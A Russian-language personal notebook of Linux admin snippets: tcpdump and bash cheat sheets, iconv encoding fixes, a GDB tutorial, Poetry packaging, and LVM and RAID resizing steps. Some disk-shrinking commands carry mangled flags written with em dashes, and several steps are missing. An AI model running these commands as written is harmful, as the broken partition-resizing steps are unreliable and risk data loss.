использовать Semagic на Dreamwidth 1. Перейдите по ссылке https://www.dreamwidth.org/manage/settings/?cat=mobile 2. Прокрутите до самого низа страницы («Сгенерировать ключ API»). Установите флажок. 3. Нажмите кнопку «Сохранить». 4. После перезагрузки страницы в разделе «Управление ключами API» появится новая строка. Это будет длинная строка случайных букв. Скопируйте её. Когда Semagic запросит ваш пароль, используйте его.
Затем, для настроек Semagic: 1. Сервер: www.dreamwidth.org 2. Порт: 443 3. Путь: /interface/flat 4. ☑️ SSL 5. Имя пользователя: Ваше имя пользователя 6. Пароль: ключ API, скопированный на шаге 4 выше 7. API: LiveJournal
конвертация текста file -i text.txt если text.txt: application/octet-stream; charset=binary strings text.txt > text_clean.txt strings: Эта команда по умолчанию «вырезает» все, что не является ASCII-текстом. В некоторых версиях Linux она удаляет кириллицу
sudo apt install enca iconv -f [исходная_кодировка] -t UTF-8 [входной_файл] -o [выходной_файл] Поскольку ASCII полностью совместим с UTF-8, вы можете просто сменить метку файла (конвертация не изменит содержимое, так как байты те же): iconv -f ASCII -t UTF-8 text_clean.txt -o text_final.txt iconv -f UTF-8 -t UTF-8//IGNORE vrem.txt -o text_final.txt
head -c 10 vrem.txt | hexdump -C Если видите cf f0 e8... — это CP1251 (Windows). Если видите 8f e0 e8... — это CP866 (DOS). Если видите d0 b0 d0... — это уже UTF-8, но с какими-то ошибками.
iconv -f CP1251 -t UTF-8//TRANSLIT input.txt -o output.txt iconv -f CP1251 -t UTF-8//IGNORE input.txt -o output.txt //IGNORE: просто удаляет символы, которые не удалось сконвертировать //TRANSLIT: пытается заменить неподдерживаемый символ на максимально похожий из целевой кодировки. python3 -c "import sys; print(open(sys.argv[1], 'rb').read().decode('cp1251', 'ignore').encode('utf-8').decode('utf-8'))" input.txt > output.txt
TCPDUMP — шпаргалка для админа Базовые команды tcpdump # захват трафика на интерфейсе по умолчанию tcpdump -i eth0 # захват с интерфейса eth0 tcpdump -n # без резолва DNS/имён хостов tcpdump -nn # без резолва IP и портов (числа) tcpdump -v / -vv / -vvv # уровень подробностей
Фильтрация по протоколам tcpdump icmp # только ICMP (ping) tcpdump tcp # только TCP tcpdump udp # только UDP tcpdump port 80 # трафик по порту 80 tcpdump tcp port 443 # только TCP-трафик по 443 порту
Фильтрация по IP/подсети tcpdump host 192.168.1.10 # трафик от/до IP tcpdump src 192.168.1.10 # только от источника tcpdump dst 10.0.0.1 # только к получателю tcpdump net 192.168.0.0/16 # подсеть
Комбинированные фильтры tcpdump 'src 10.0.0.1 and dst port 22' tcpdump 'host 8.8.8.8 and (port 53 or port 443)' tcpdump 'tcp[tcpflags] & tcp-syn != 0' # только SYN-пакеты
Запись и анализ tcpdump -w dump.pcap # сохранить в файл tcpdump -r dump.pcap # прочитать из файла tcpdump -A -r dump.pcap # показать в ASCII tcpdump -XX -r dump.pcap # hex+ASCII вывод
Ограничения и оптимизация tcpdump -c 100 # захватить только 100 пакетов tcpdump -s 0 # захват полного пакета tcpdump -i eth0 -G 60 -w file%Y%m%d%H%M%S.pcap # ротация файлов по времени
Примеры для жизни tcpdump -i any port 22 # следим за SSH на всех интерфейсах tcpdump -i eth0 'port not 22' # всё кроме SSH tcpdump -i eth0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)«2)) - ((tcp[12]&0xf0)»2)) != 0)' # только HTTP-пакеты с данными (без ACK)
Горячие клавиши терминала в Linux Полезные горячие клавиши для Bash Управление процессами Ctrl + C - прервать процесс (послать сигнал Interrupt). SIGINT Ctrl + \\ - Отправляет сигнал SIGQUIT Ctrl+ D - Закрывает bash оболочку вместе с процессами. Схожа с командой exit. Ctrl + Z - приостановить процесс (послать сигнал Stop). помощью команды bg его можно снова запустить, оставив при этом в фоновом режиме. Команда fg не только возобновляет ранее приостановленный процесс, но и выводит его из фона на передний план fs process_name.
Управление экраном Ctrl + L - очистить экран. Аналог команде clear. Ctrl + S: Останавливает весь вывод на экране. Это полезно когда необходимо временно остановить запущенный процесс. Ctrl + Q: Продолжает работу и отображение вывода после ее остановки.
Перемещение курсора Ctrl + A - переместить курсор в начало строки. Ctrl + E - переместить курсор в конец строки (E - End). Alt + F - переместить курсор на одно слово вперед (F - Forward). Alt + B - переместить курсор на одно слово назад (B - Back). Ctrl + F - переместить курсор на один символ вперед (F - Forward). Ctrl + B - переместить курсор на один символ назад (B - Back). Ctrl + XX: При повторном исполнении команды, курсор будет двигаться между началом линии и текущей позиции курсора.
Редактирование текста Ctrl + D - удалить символ под курсором (D - Delete). Alt + T - поменять местами два слова. Слово под курсором меняется со словом слева от курсора (T - Translocate) Ctrl + T - поменять местами два символа. Символ под курсором меняется с символом слева от курсора (T - Translocate). Alt + L - перевести символы в нижний регистр, начиная с символа под курсором и до конца слова (L - Lowercase). Alt + U - перевести символы в верхний регистр, начиная с символа под курсором и до конца слова (U - Uppercase). Alt + C: После курсора первый символ слова переводится в верхний регистр.
Вырезание и вставка текста Ctrl + K - вырезать текст от курсора до конца строки (K - Kill). Ctrl + U - вырезать текст от курсора до начала строки. Alt + D - вырезать слово от курсора до его конца (D - Delete). Alt + Backspace - вырезать слово от курсора до его начала. Если курсор находится на начале слова, то удаляется предыдущее слово. Ctrl + W - Делает вырезку слова перед курсором и добавляет его в буфер. Ctrl + Y - вставить вырезанный текст из буфера обмена на место курсора.
Дополнение команды Tab - дополнить текст команды. (ls essa => ls essay.txt) Alt + ? - вывести все варианты дополнения (тоже если нажать Tab дважды). Alt + * - вставить все варианты дополнения в аргументы команды.
Поиск команд в истории Ctrl + R - начать поиск команд в истории. Нажмите еще раз чтобы двигаться вверх по истории. Нажмите Enter чтобы выполнить найденную команду. Ctrl + G - прекратить поиск команд в истории. Выход из режима. Ctrl + J - вставить найденную команду в терминал, без выполнения. Ctrl + P или Up Arrow - показать предыдущую запись в истории. Аналог клавише со стрелкой вверх. (P - uP). Ctrl + N или Down Arrow - показать следующую запись в истории. Аналог клавише со стрелкой вниз. (N - dowN). Alt + < - перейти к первой записи в истории. Alt + > - перейти к последней записи в истории. Alt + N - поиск в прямом порядке (ввести команду и нажать Enter). Alt + P - поиск в обратном порядке (ввести команду и нажать Enter). Ctrl + O - выполнить команду из истории и перейти к выполнению следующей по списку. Работает только в поиске Ctrl + R.
Режим По умолчанию bash использует комбинации в стиле редактора emacs. Можно переключать в режим редактора vi $ set -o vi # vi mode $ set -o emacs # default mode
комплект для сборки клавиатуры: 1) Корпус (Case) - не метал, т.к. блютуз 2) Плата (PCB) - лучше Hot-Swap, Hot-Swap это система быстрой замены свитчей на PCB без участия припоя, поддержка hot-swap это смена свичей, свичи не припаяны, а съёмные, 3/5 pin, RGB подсветка для каждой клавиши, TKL 75% 3) Плейт (Plate) - (пластины платы позиционирования клавиатуры), латунь или аллюминий, плейты лучше с фиксированной раскладкой, должна совпадать с платой 4) Стабилизаторы (Stabilizers) под длинные клавиши, лучше Screw-in - на винтах, проще собирать и разбирать 5) Переключатели (Switches), свичи совместимы с Cherry MX, например Mechanical Gateron Cap Teal (50 миллионов нажатий) Outemu - самое дешевое что есть на рынке, не совместимы с Cherry MX по посадочным гнездам на плате (по кейкапам они полностью совместимы) 6) Кейкапы (Keycaps) - Профиль кейкапов: Cherry, двойное литьё (прозрачные буквы) 7) Набор инструментов для чистки и смазки клавиатуры
Подсветка: RGB. Настраиваемая. RGB подсветка, софт для настройки профилей, профили должны сохраняться если белый свет подсветки выглядит фиолетовым, то скорее всего, большая хроматическая дисперсия у прозрачного пластика
защита от влаги Кабель: Отсоединяемый самодельный комплект механической клавиатуры RGB 75% с горячей заменой GK75
события в календарь qrencode -s 6 -l H -o "event.png" < event.txt
пояснение по параметрам -s 6: устанавливает размер блоков в клетчатом шаблоне QR. Предоставляемое вами число задаёт размер в пикселях длины одной стороны блока. -l H: устанавливает уровень исправления ошибок. Мы можем использовать следующие варианты: «L» для низкого, «M» для среднего, «Q» для довольно высокого и «H» для высокого или максимального. Различные уровни исправления ошибок могут справиться с разным объёмом повреждений или нечёткостью при сканировании QR-кода. «Низкий» позволяет успешно сканировать код, если до семи процентов кода скрыто или повреждено. «Средний» увеличивает этот показатель до 15 процентов. «Достаточно высокий» может справиться с повреждением до 25 процентов кода. «Высокий» уровень может справиться с колоссальными 30 процентами повреждений или неразборчивости при сканировании QR-кода. Чем больше исправлений ошибок вы используете, тем больше будет общий QR-код. Это связано с тем, что ему необходимо хранить избыточную информацию, что означает, что в шаблоне больше блоков. -o "text.png": параметр вывода позволяет указать имя сгенерированного изображения. По умолчанию это изображение Portable Network Graphics (PNG). Если вы используете параметр -t (тип), вы можете изменить вывод на различные форматы, включая инкапсулированный постскрипт (EPS), масштабируемую векторную графику (SVG) и множество различных вариантов вывода на основе символов Американского национального института стандартов (ANSI). Текст для кодирования предоставляется последним и заключён в кавычки.
Т: Тип безопасности. Это может быть WEP, WPA или WPA2. Обратите внимание, что между буквой «T» и значением безопасности стоит двоеточие, а также точка с запятой «;» после настройки безопасности. S: идентификатор набора услуг (SSID) сети Wi-Fi, проще говоря, имя Wi-Fi сети. Обратите внимание, что между «S» и SSID стоит двоеточие, а также точка с запятой «;» После SSID. P: пароль или ключ безопасности сети Wi-Fi. Обратите внимание, что между буквой «P» и ключом безопасности стоит двоеточие, а также две точки с запятой «;» после пароля для входа в Wi-Fi сеть.
В этом коротком туториале мы рассмотрим базовые приёмы работы с GDB, а также посмотрим как можно (и нужно) подготавливать файлы к отладке для GDB.
GDB — переносимый отладчик проекта GNU, который работает на многих UNIX-подобных системах и умеет производить отладку многих языков программирования, включая Си, C++, Free Pascal, FreeBASIC, Ada, Фортран, Python3, Swift, NASM и Rust.
GDB
Почему именно GDB? Всё легко, он уже установлен на многих UNIX-подобных системах, лёгок в использовании и поддерживает много языков. Работа с ним оказывается очень лёгкой, а также его можно подключить к VSCode и другим редакторам кода (Включая Vim, NeoVim (ясное дело), Emacs, Atom и далее)
Подготовка файлов
Для примера мы возьмём файлы .cpp и будем проходиться по ним вдоль и поперёк.
Для того чтобы нам пройтись по такому файлу нам нужно скомпилировать его с помощью G++ с использованием флага -g (это действительно важно, без этого флага, программа не будет корректно работать в GDB)
Python-файл вы можете продебажить с помощью этой команды:
gdb -ex r --args python program_name.py <arguments>
Для Java вы просто можете использовать jdb, который уже идёт в комплекте c JDK.
Также, если вам не хочется компилировать всё ручками, вы можете просто использовать сайт OnlineGDB, там просто нужно вставить код и нажать debug, а затем внизу откроется консоль, где вы сможете писать команды
Использование GDB
Как только мы зашли в GDB нам выводится следующее сообщение:
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from 3_Hero's_Inventory.cpp...done.
Последняя строка говорит о том, нормально ли запустился файл
Теперь нужно посмотреть, где в нашем файле точка вхождения (строка, откуда наша программа начинает свою работу), в случае cpp это метод main(). Находим эту строку c помощью команды list и вписываем, какая она идёт по счёту с буквой b (также можно просто указать имя функции b main тоже работает):
(gdb) list
1 #include <iostream>
2 #include <string>
3
4 using namespace std;
5
6 int main(int argc, char *argv[])
7 {
8 // Hero's Inventory - скрипт, где мы имитируем инвентарь игрока
9
10 const int MAX_ITEMS = 10; // Задаём константу, максимум по инвентарю игрока
(gdb) b 6
Breakpoint 1 at 0xcb5: file ./3_Hero's_Inventory.cpp, line 6.
Далее запускаем программу с помощью комманды r:
(gdb) r
Starting program: /home/username77177/gitprojects/learning/cpp/build_folder/3_Hero's_Inventory.cpp
Breakpoint 1, main (argc=1, argv=0x7fffffffdd18) at ./3_Hero's_Inventory.cpp:7
7 {
Для того, чтобы посмотреть на какой мы сейчас строке, нужно написать f:
(gdb) f
#0 main (argc=1, argv=0x7fffffffdd18) at ./3_Hero's_Inventory.cpp:14
14 items[itemnum++] = "Sword";
Для того, чтобы сделать шаг, нужно нажать n (от слова next):
(gdb) n
10 const int MAX_ITEMS = 10; // Задаём константу, максимум по инвентарю игрока
Как мы видим GDB сразу пропускает пустые строки (или строки с комментариями) и переходит к следующей строке.
Предположим, что у нас есть функция, при нажатии n наш отладчик быстро пройдет функцию, не заходя в неё, чтобы зайти в функцию нужно сделать "шаг внутрь" (step-in) или просто клавиша s:
(gdb) s
11 string items[MAX_ITEMS]; // Создаём массив из строк c 10 элементами
(В примере нет функции, однако шаг step-in все равно будет работать и с обычными инициализациями, условиями и циклами)
Чтобы узнать какие переменные (локальные) сейчас инициализированны в программе нужно написать комманду info locals:
Чтобы посмотреть какие в данный момент есть breakpoints (точки останова) нужно написать info breakpoints:
(gdb) info breakpoints
Num Type Disp Enb Address What
1 breakpoint keep y 0x0000555555554cb5 in main(int, char**)
at ./3_Hero's_Inventory.cpp:6
breakpoint already hit 1 time
2 breakpoint keep y 0x0000555555554cfe in main(int, char**)
at ./3_Hero's_Inventory.cpp:14
Чтобы удалить точку останова del breakpoint_num:
(gdb) info breakpoints
Num Type Disp Enb Address What
1 breakpoint keep y 0x0000555555554cb5 in main(int, char**)
at ./3_Hero's_Inventory.cpp:6
breakpoint already hit 1 time
2 breakpoint keep y 0x0000555555554cfe in main(int, char**)
at ./3_Hero's_Inventory.cpp:14
(gdb) del 1
(gdb) info breakpoints
Num Type Disp Enb Address What
2 breakpoint keep y 0x0000555555554cfe in main(int, char**)
at ./3_Hero's_Inventory.cpp:14
Чтобы прыгнуть к следующей точке останова нужно нажать c:
(gdb) r
Starting program: /home/username77177/gitprojects/learning/cpp/build_folder/3_Hero's_Inventory.cpp
Breakpoint 3, main (argc=1, argv=0x7fffffffdd18) at ./3_Hero's_Inventory.cpp:7
7 {
(gdb) c
Continuing.
Breakpoint 2, main (argc=1, argv=0x7fffffffdd18) at ./3_Hero's_Inventory.cpp:14
14 items[itemnum++] = "Sword";
Мы можем вызывать функции из программы (локальные) с помощью call:
(gdb) call MyFunction()
Чтобы продолжить выполнение функции и остановить программу когда она (функция) завершится нужно написать finish или fin:
(gdb) fin
Стоит уточнить, что нельзя использовать finish в главном методе.
Чтобы завершить выполнение программы, нужно написать kill:
(gdb) kill
Kill the program being debugged? (y or n) y
Также можно написать help в любой момент и получить краткую справку, как пользоваться отладчиком
(gdb) help
List of classes of commands:
aliases -- Aliases of other commands
breakpoints -- Making program stop at certain points
data -- Examining data
files -- Specifying and examining files
internals -- Maintenance commands
obscure -- Obscure features
running -- Running the program
stack -- Examining the stack
status -- Status inquiries
support -- Support facilities
tracepoints -- Tracing of program execution without stopping the program
user-defined -- User-defined commands
Type "help" followed by a class name for a list of commands in that class.
Type "help all" for the list of all commands.
Type "help" followed by command name for full documentation.
Type "apropos word" to search for commands related to "word".
Command name abbreviations are allowed if unambiguous.
В DRAC 4 первый слот индекса является корневым по умолчанию. В DRAC 5 и 6 индекс 1 является администратором , индекс 2 является корневым . iDRAC 4: racadm getconfig -g cfgUserAdmin -i 1
iDRAC 5 и 6: racadm getconfig -g cfgUserAdmin -i 2
Разработав консольную утилиту, вы решаетесь опубликовать её на PyPI. Ну правда, что может быть лучше, чем сделать её доступной через pip install? Погуглив, что для этого надо, вы, возможно, наткнётесь на единственный найденный мной пост по теме, который мало того что от 2014 года, так ещё и требует от вас создать кучу папок и файлов для совершенно ненужных (вам) вещей.
Как же решить эту задачу без лишней головной боли в 2019 году? Я уже задавался этим вопросом и поэтому, прочитав тонну документации, создал для вас этот туториал. Вот пошаговая инструкция.
И установите переменные окружения PYPI_USER и PYPI_PASS на travis-ci.com. После этого можно будет публиковать пакет с помощью команд:
git tag -a v1.2 # Replace version number with yours
git push --tags
Poetry: новый менеджер зависимостей в Python В последнее время в экосистеме Python часто стали появляться инструменты для управления зависимостями. Оно понятно, стандартный pip уже не отвечает современным требованиям: неудобная работа с зависимостями, много ручной работы при подготовке пакетов, проблемы при установке и обновлении и много чего другого.</p>
С недавних пор я начал использовать новый менеджер под названием Poetry. Именно о нём сегодня пойдёт речь.
Функциональные возможности Poetry:
Управление зависимостями через toml файл (прощай, requirements.txt)
Автоматическое создание изолированного виртуального окружения Python (теперь не нужно для этого вызывать virtualenv)
Удобное создание пакетов (отныне не нужно копипастить создавать setup.py каждый раз)
poetry.lock файл для фиксирования версий зависимостей
А особенно радует тандем при работе с pyenv. О pyenv я писал три года назад.
Установка
Исходный код проекта лежит на github. Для установки необходимо выполнить команду:
Если установка прошла успешно, то убедиться в этом можно вызвав:
$ poetry --version
Poetry 0.12.8
Стартуем!
Создаём новый проект my-demo-project:
$ poetry new my-demo-project
Заходим в папку:
$ cd my-demo-project/
~/my-demo-project$ ls
README.rst my_demo_project pyproject.toml tests
Poetry автоматически создал все необходимые файлы для будущего пакета, но наибольший интерес представляет файл с названием pyproject.toml, этот файл можно рассматривать как продвинутую альтернативу старичку requirements.txt. Взглянем на содержимое:
[tool.poetry]
name = "my-demo-project"
version = "0.1.0"
description = ""
authors = ["Your Name you@example.com"]
[tool.poetry.dependencies]
python = "^3.6"
[tool.poetry.dev-dependencies]
pytest = "^3.0"
[build-system]
requires = ["poetry>=0.12"]
build-backend = "poetry.masonry.api"
Формат файла TOML. Раздел tool.poetry предназначен для описания проекта: название, версия, краткая информация о проекте и т.д. Далее следует tool.poetry.dependencies, именно здесь будут указаны все production зависимости. Их можно указать вручную (привет, requirements.txt), но мы так делать не будем (привет, npm!). Раздел tool.poetry.dev-dependencies предназначен для зависимостей во время разработки (привет, pytest, tox!)
Добавляем зависимости
Давайте добавим к проекту зависимость в виде Luigi.
Обратите внимание, что Poetry автоматически создал виртуальное окружение через virtualenv при добавлении пакета (т.к. ранее оно не было создано). Все окружения находятся по пути ~/.cache/pypoetry/virtualenvs
Если снова открыть pyproject.toml, то можно увидеть новую запись в разделе зависимостей:
[tool.poetry.dependencies]
python = "^3.6"
luigi = "=2.8.0"
Всю "грязную" работу за нас делает Poetry. Чтобы добавить зависимость для разработки достаточно указать флаг —dev:
Отныне забудьте про головную боль с ручным созданием setup.py, прописыванием туда всех зависимостей и запоминанием команд для сборки через pip. Всё стало в разы проще. Чтобы собрать python пакет выполните:
~/my-demo-project$ poetry build
Building my-demo-project (0.1.0)
- Building sdist
- Built my-demo-project-0.1.0.tar.gz
- Building wheel
- Built my_demo_project-0.1.0-py3-none-any.whl
В папке dist будут сформированы пакеты. Чтобы поделиться своим творением с другими разработчиками, например через pypi, выполните:
~/my-demo-project$ poetry publish
Окружение
Для активации виртуального окружения необходимо выполнить команду:
~/my-demo-project$ poetry shell
Вывод
Проект Poetry появился 28 февраля 2018 года, последняя версия 0.12.8. Инструмент молодой, но перспективный и быстроразвивающийся. Уже сейчас он на голову выше старичка pip и по функциональным возможностям и по удобству использования. Советую вам его попробовать и поделиться мнением в комментариях к этой статье. За более подробной информацией об инструменте советую заглянуть на сайт с документацией.
Дано: виртуальная машина на LVM-разделе /dev/mapper/vol-centos1 внутри неё имеются разделы /boot, / и swap, причем / и swap на LVM
для начала посмотрим что из себя представляет /dev/mapper/vol-centos1: # kpartx -l /dev/mapper/vol-centos1 vol-centos1p1: 0 1024000 /dev/loop0 2048 vol-centos1p2: 0 15751168 /dev/loop0 1026048 и замяпим разделы: # kpartx -a /dev/mapper/vol-centos1 после этого в /dev/mapper у нас появятся два раздела vol-centos1p1 vol-centos1p2
Первый раздел vol-centos1p1 (/boot) нас не интересует, мы можем его хоть сейчас примонтировать. Нас интересует второй раздел vol-centos1p2, в котором находятся / и swap. просканируем и увидем LVM-тома: # lvm pvscan PV /dev/mapper/vol-centos1p2 VG VolGroup lvm2 [7.51 GiB / 0 free] Total: 1 [7.51 GiB] / in use: 1 [7.51 GiB] / in no VG: 0 [0 ]
теперь нам необходимо активировать LVM-тома, что бы добраться до них, делаем: # lvm vgchange -a y 2 logical volume(s) in volume group «VolGroup» now active
в /dev/mapper появятся еще два раздела vol-centos1p1 vol-centos1p2 VolGroup-lv_root VolGroup-lv_swap
вот теперь мы спокойно можем примонтировать раздел VolGroup-lv_root и удобно работать с ним: # mount /dev/mapper/VolGroup-lv_root /mnt
После работы, надо все вернуть на круги своя. отмонтируем # umount /dev/mapper/VolGroup-lv_root деактивируем LVM-тома # lvm vgchange -a n VolGroup удаляем маппинг # kpartx -d /dev/mapper/vol-centos1
root@debian:~# lvdisplay /dev/centos --- Logical volume --- LV Path /dev/centos/swap LV Name swap VG Name centos LV UUID wjDWlO-4ipJ-8w3g-xx7v-AvaS-lk8s-duwIiG LV Write Access read/write LV Creation host, time localhost, 2018-08-12 11:47:26 +0000 LV Status available # open 0 LV Size 616,00 MiB Current LE 154 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 254:0
--- Logical volume --- LV Path /dev/centos/root LV Name root VG Name centos LV UUID c2DUKp-zXmb-ecIO-R26b-m477-3NXc-6dPwz8 LV Write Access read/write LV Creation host, time localhost, 2018-08-12 11:47:26 +0000 LV Status available # open 0 LV Size 4,39 GiB Current LE 1125 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 254:1
необходимо активировать LVM-тома, что бы добраться до них root@debian:~# lvm vgchange -a y 2 logical volume(s) in volume group "centos" now active
проверяю root@debian:~# ls /dev/mapper/ centos-root centos-swap control
swap мне не нужен, монтирую /dev/centos/root root@debian:~# mount /dev/centos/root /mnt
после работы нужно не забыть отмонтировать root@debian:~# umount /dev/centos/root
деактивируем LVM-тома root@debian:~# lvm vgchange -a n centos 0 logical volume(s) in volume group "centos" now active root@debian:~# ls /dev/mapper/ control
Уменьшение размера раздела диска в Linux Статья содержит информацию о способе уменьшения размера раздела диска, созданного посредством системы управления томами LVM и отформатированного в файловую систему ext4 Замечание: строго говоря, во всем запускаемых далее утилитах используется одна и та же единица измерения — «мебибайт» (за исключением «parted», использующей «мегабайт»), которую, тем не менее, мы по привычке будем называть «мегабайт»
скачиваем загрузочный диск Gparted, выполняем с него загрузку системы и запускаем утилиту «Terminal»
определяем имя интересующего нас логического раздела LVM (параметр «LV Path»)
sudo lvdisplay
подключаем раздел
sudo mount /dev/some-vg/root /mnt
просматриваем объем занятого пространства файловой системы раздела
sudo df -h
отключаем раздел
sudo umount /dev/some-vg/root
проверяем файловую систему
sudo e2fsck -vf /dev/some-vg/root
Замечание: v — вывод подробных сообщений, f — выполнить проверку, даже если файловая система помечена, как не содержащая ошибок
уменьшаем размер файловой системы sudo resize2fs -p /dev/some-vg/root 3000M
Замечание: p — отображать прогресс выполнения каждого этапа
уменьшаем размер раздела; в качестве нового размера указываем РАЗМЕР_ФАЙЛОВОЙ_СИСТЕМЫ + 1
lvreduce /dev/some-vg/root —size 3001M
проверяем, что в процессе уменьшения размера раздела никакие данные не были повреждены; для этого пробуем увеличить размер файловой системы до максимально возможного, в результате чего он должен вырасти на 1 МБ
sudo resize2fs /dev/some-vg/root
определяем имя интересующего нас физического раздела LVM (параметр «PV Name»)
sudo pvdisplay
выводим информацию о распределении выделенных физических областей по разделу
sudo pvs —verbose —segments /dev/sda5
перемещаем выделенные физические области так, чтобы между ними не было свободного пространства
sudo pvmove —alloc anywhere /dev/sda5:2370-2497
уменьшаем размер раздела; в качестве нового размера указываем ОБЪЕМ_ЗАНЯТЫХ_ОБЛАСТЕЙ (параметр «Allocated PE») * РАЗМЕР_ОБЛАСТИ (параметр «PE Size») + 1
Замечание: если указать слишком маленькое значение, ничего страшного не произойдет — утилита просто сообщит, что новый размер меньше объема занятого пространства
запускаем parted для интересующего нас диска
sudo parted /dev/sda
устанавливаем в качестве единиц измерения по умолчанию — мебибайты
unit MiB
просматриваем таблицу разделов
print free
уменьшаем размер логического раздела, при этом конец раздела вычисляем так: НАЧАЛО_РАСШИРЕННОГО_РАЗДЕЛА + ОБЪЕМ_ЗАНЯТЫХ_ОБЛАСТЕЙ * РАЗМЕР_ОБЛАСТИ + ОБЪЕМ_НЕИСПОЛЬЗУЕМОГО_ПРОСТРАНСТВА (параметр «PV Size» после знака «/») + 2
resizepart 5 3764MiB
Замечание: перед выполнением операции нужно повторно просмотреть объем неиспользуемого пространства физического раздела LVM
проверяем, что в процессе уменьшения размера раздела никакие данные не были повреждены; для этого пробуем увеличить размер физического раздела LVM до максимально возможного, в результате чего объем неиспользуемого пространства должен вырасти на 1МБ
sudo pvresize /dev/sda5
уменьшаем размер расширенного раздела до размера логического раздела
увеличить размер диска LVM 1. Посмотри, сколько свободно в VG vgdisplay ubuntu-vg Там будет строка типа Free PE / Size, например 147.00 GiB.
2. Увеличь ubuntu-lv на всё доступное пространство lvextend -l +100%FREE /dev/ubuntu-vg/ubuntu-lv Это увеличит размер logical volume ubuntu-lv на всё свободное место в ubuntu-vg.
3. Расширь файловую систему Если у тебя ext4: resize2fs /dev/ubuntu-vg/ubuntu-lv Если у тебя xfs: xfs_growfs / Можно выполнить даже на живой системе, если / смонтирован и используется.
1. Проверка и исправление диска LVM без шифрования с помощью fdisk Для проверки LVM используйте следующие шаги. Для начала проверяем разметку дисков с lsblk:
lsblk
Пример вывода:
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 20G 0 disk
└─sda1 8:1 0 20G 0 part
└─xubuntu--vg-root 253:0 0 19G 0 lvm /
sr0 11:0 1 1024M 0 rom
Как можно увидеть, LVM назван xubuntu--vg-root, но мы не можем запустить fsck на это имя, так как команда не найдёт его. Нам нужно получить полное имя, для этого нужно запустить команду lvm lvscan для получения LV имени с которым мы можем запустить fsck на LVM.
Следующая команда должна запускаться с повышенными правами (с sudo или как root):
Как можно увидеть, имя диска который нужно проверить на ошибки это /dev/xubuntu-vg/root, оно должно подойти для запуска fsck на этом имя. Если /dev/xubuntu-vg/root не ACTIVE, нужно сделать его активным чтобы мы могли запустить его проверку.
lvchange -ay /dev/xubuntu-vg/root
Теперь это должно выглядеть примерно так:
sudo lvscan
ACTIVE '/dev/xubuntu-vg/root' [<19.04 GiB] inherit
inactive '/dev/xubuntu-vg/swap_1' [980.00 MiB] inherit
Теперь можно запустить fsck для проверку тома LVM:
fsck /dev/xubuntu-vg/root
или запустить форсированную проверку с автоматическим исправлением ошибок:
Расшифровываем раздел. sudo cryptsetup open --type luks /dev/nvme0n1p3 nvme0n1p3_crypt
Внимание: замените /dev/nvme0n1p3 на ваш собственный диск замените "nvme0n1p3_crypt" на корректное имя раздела для вашей установки, вы можете его узнать запустив следующее в chroot: cat /etc/crypttab | cut -f1 -d " "
Объемы данных в современных системах растут с каждым днем и тот объем, который еще вчера считался достаточным, сегодня уже не способен удовлетворить текущие требования. Также дешевеют носители данных, особенно это касается твердотельных накопителей, что рано или поздно поставит администратора перед необходимостью апгрейда дисковой подсистемы. Но как быть, если вы используете программный RAID в Linux? В этой статье мы рассмотрим наиболее часто встречающийся сценарий с заменой дисков на более емкие и расширением объема массива.
Несмотря на то, что в качестве примера мы использовали Debian 9 все нижеизложенное будет справедливо для любого базирующегося на Debian дистрибутиве, а с небольшими поправками (там, где касается установки загрузчика) для любой Linux-системы.
По условиям задачи в нашем распоряжении есть виртуальная машина, в которой на двух дисках собраны два RAID1 для корневого раздела и подкачки, диски являются загрузочными. Мы специально выбрали такую конфигурацию, чтобы охватить все возможные сценарии и показать общие принципы работы с программным RAID при его расширении. При этом используемая конфигурация не является оптимальной или рекомендуемой, мы создали ее сугубо в образовательных целях.
Итак, у нас в системе используются два виртуальных жестких диска объемом 20 ГБ которые мы хотим заменить на новые виртуальные диски объемом в 30 ГБ желательно без существенного простоя системы.
Прежде всего ознакомимся с текущей конфигурацией дисковой подсистемы. Будет очень полезно выполнить перезагрузку и войдя в BIOS уточнить с какого именно физического диска мы загружаемся.
В нашем случае это первый физический диск. Теперь загрузимся в систему и выполним команду:
lsblk
ее вывод позволяет в удобном виде увидеть структуру текущей дисковой подсистемы.
Как можно увидеть, в нашем случае на двух физических жестких дисках sda и sdb расположены два программных массива raid1: md0 с корневой файловой системой и md1 с разделом подкачки объемом 16,8 ГБ и 3,2 ГБ соответственно.
Следующим шагом нам нужно посмотреть разметку на физических дисках, это можно сделать при помощи утилиты fdisk, но лучше использовать ее аналог с псевдографическим интерфейсом - cfdisk. Запустим ее с указанием интересующего нас диска:
cfdisk /dev/sda
Здесь мы видим, что диск имеет таблицу разделов MBR (Label: dos в шапке) и содержит первичный раздел sda1 объемом 16,8 ГБ типа fd Linux RAID, а также логический раздел sda2, в котором находится еще один раздел типа fd Linux RAID размером 3,2 ГБ - sda5.
Запомним эти данные, так как аналогичную по структуре разметку нам нужно будет воспроизвести на новом жестком диске. Для этого нам нужно заменить один из старых дисков массива на новый, так как загрузились мы с первого физического диска, т.е. sda, то заменить нам следует sdb. Поэтому пометим его как сбойный для каждого из расположенных на нем массивов:
Теперь можно выключить сервер и физически заменить старый жесткий диск на новый. После этого загрузимся и выполним команду:
fdisk -l
Как видим в системе появился новый неразмеченный диск sdb объемом 30 ГБ. Теперь следует разметить его:
cfdisk /dev/sdb
Первым шагом указываем тип таблицы разделов, так как у нас уже используется MBR, то выбираем dos.
Теперь нам нужно создать аналогичную по структуре sda разметку, но с новыми разделами разделов. Единственное условие - они не должны быть меньше уже имеющихся. В нашем случае мы создадим первичный раздел объемом 26 ГБ и укажем для него тип Linux raid autodetect (fd) используя для этого кнопку Type утилиты.
